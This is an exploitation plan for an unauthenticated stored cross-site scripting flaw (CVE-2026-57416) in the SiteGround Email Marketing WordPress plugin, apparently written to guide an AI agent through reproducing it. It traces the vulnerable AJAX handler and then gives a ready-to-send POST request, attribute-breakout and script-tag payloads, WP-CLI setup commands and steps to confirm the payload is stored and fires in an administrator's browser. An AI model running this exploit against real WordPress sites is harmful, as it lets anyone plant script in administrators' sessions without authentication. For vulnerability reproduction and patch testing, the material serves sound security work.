SiteGround Email Marketing <= 1.7.5 - Unauthenticated Stored Cross-Site Scripting

This exploitation research plan targets CVE-2026-57416, an unauthenticated stored Cross-Site Scripting (XSS) vulnerability in the SiteGround Email Marketing plugin for WordPress.

1. Vulnerability Summary

The vulnerability exists in the plugin's integration with WPForms. Specifically, the AJAX handler sg_email_marketing_wpforms_save_post lacks any authentication or authorization checks (no current_user_can) and does not verify a WordPress nonce. Furthermore, the stored data is rendered in the WPForms editor without proper escaping, allowing for attribute breakout and script injection.

2. Attack Vector Analysis

• Endpoint: wp-admin/admin-ajax.php
• Action: sg_email_marketing_wpforms_save_post
• Vulnerable Parameter: sg_email_marketing_groups (Must be a JSON-encoded array)
• Target Parameter: form_id (The ID of an existing WPForm post)
• Authentication: None (Unauthenticated).
• Preconditions:
  • The "WPForms" plugin must be installed and active.
  • At least one form must exist (to target its form_id).

3. Code Flow

1. Entry Point (Storage): The WPForms::save_form() method in core/Integrations/ThirdParty/WPForms/WPForms.php is triggered by the AJAX action.
2. Lack of Security: The code explicitly ignores nonce verification (per the // phpcs:ignore comment) and fails to check user capabilities.
3. Storage: The sg_email_marketing_groups parameter is json_decode'd and saved as post meta for the specified form_id:

   update_post_meta( esc_attr( $_POST['form_id'] ), 'sg_email_marketing_groups', json_decode( stripslashes( $_POST['sg_email_marketing_groups'] ) ) );
   

4. Retrieval: When an administrator opens the WPForms builder, WPForms::update_groups() (in WPForms.php) retrieves this meta and adds it to the form's field data.
5. Sink (Output): The data is passed to SGWPMAIL_WPForms_Field::field_element_select2() in core/Integrations/ThirdParty/WPForms/SGWPMAIL_WPForms_Field.php.
6. Vulnerable Rendering: The value is wp_json_encode'd and placed directly into an attribute using single quotes without escaping:

   $attrs .= $arg_key . '=\'' . $val . '\''; // $val is the JSON-encoded array
   // ...
   $output = sprintf( '<select ... %s>', ..., $attrs );
   

   Because the attribute value is wrapped in single quotes ('), any single quote within the JSON-encoded sg_email_marketing_groups will break out of the attribute.

4. Nonce Acquisition Strategy

• Requirement: None.
• Analysis: Reviewing core/Integrations/ThirdParty/WPForms/WPForms.php, the save_form function contains a deliberate bypass for PHPCS nonce warnings: // phpcs:ignore WordPress.Security.NonceVerification.Missing. The AJAX action is accessible to any user without a nonce.

5. Exploitation Strategy

The goal is to inject a payload that executes when an admin views the settings of an "SG Email Marketing" field within the WPForms builder.

Step 1: Identify a valid Form ID
The agent should list existing forms to find a target form_id.

wp post list --post_type=wpforms --format=ids

Step 2: Inject the Stored XSS Payload
We send an unauthenticated POST request. The payload uses a single quote to break out of the data-selected attribute used in the plugin's Select2 implementation.

• URL: http://<target>/wp-admin/admin-ajax.php
• Method: POST
• Headers: Content-Type: application/x-www-form-urlencoded
• Payload:
  • action: sg_email_marketing_wpforms_save_post
  • form_id: <TARGET_FORM_ID>
  • sg_email_marketing_groups: ["x' onfocus='alert(document.domain)' autofocus='x"]

Step 3: Trigger the XSS
An administrator must navigate to:
http://<target>/wp-admin/admin.php?page=wpforms-builder&view=fields&form_id=<TARGET_FORM_ID>
And click on the "SG Email Marketing" field (if it exists) or simply load the builder if the field is present.

6. Test Data Setup

1. Install Plugins:

   wp plugin install wpforms-lite --activate
   wp plugin install siteground-email-marketing --version=1.7.5 --activate
   

2. Create a Form:
   Create a simple form via WP-CLI or browser.
3. Add the Vulnerable Field:
   The form must contain the "SG Email Marketing" field. If not present, the update_groups logic might not trigger the render path, although the meta will still be stored.

   # Note: Adding a specific field type to WPForms via CLI is complex; 
   # if necessary, use browser_navigate to manually add the 'sg_email_marketing' field.
   

7. Expected Results

• The admin-ajax.php request should return a 200 OK (often with a 0 or empty response, as save_form does not call wp_die() or return data).
• The database will now contain the malicious payload in the wp_postmeta table for the target form.
• Upon an administrator loading the WPForms builder for that form, the browser will execute alert(document.domain).

8. Verification Steps

After sending the HTTP request, verify the storage via WP-CLI:

wp post meta get <TARGET_FORM_ID> sg_email_marketing_groups

Expected Output:
["x' onfocus='alert(document.domain)' autofocus='x"]

9. Alternative Approaches

If the onfocus payload is filtered by browser protections (unlikely for stored XSS in attributes), use a standard breakout:

• Payload: ["'><script>alert(1)</script>"]
• Resulting HTML: <select ... data-selected='["'><script>alert(1)</script>"]' ...>
• Logic: The '> sequence closes the data-selected attribute AND the <select> tag, allowing the <script> tag to render in the DOM.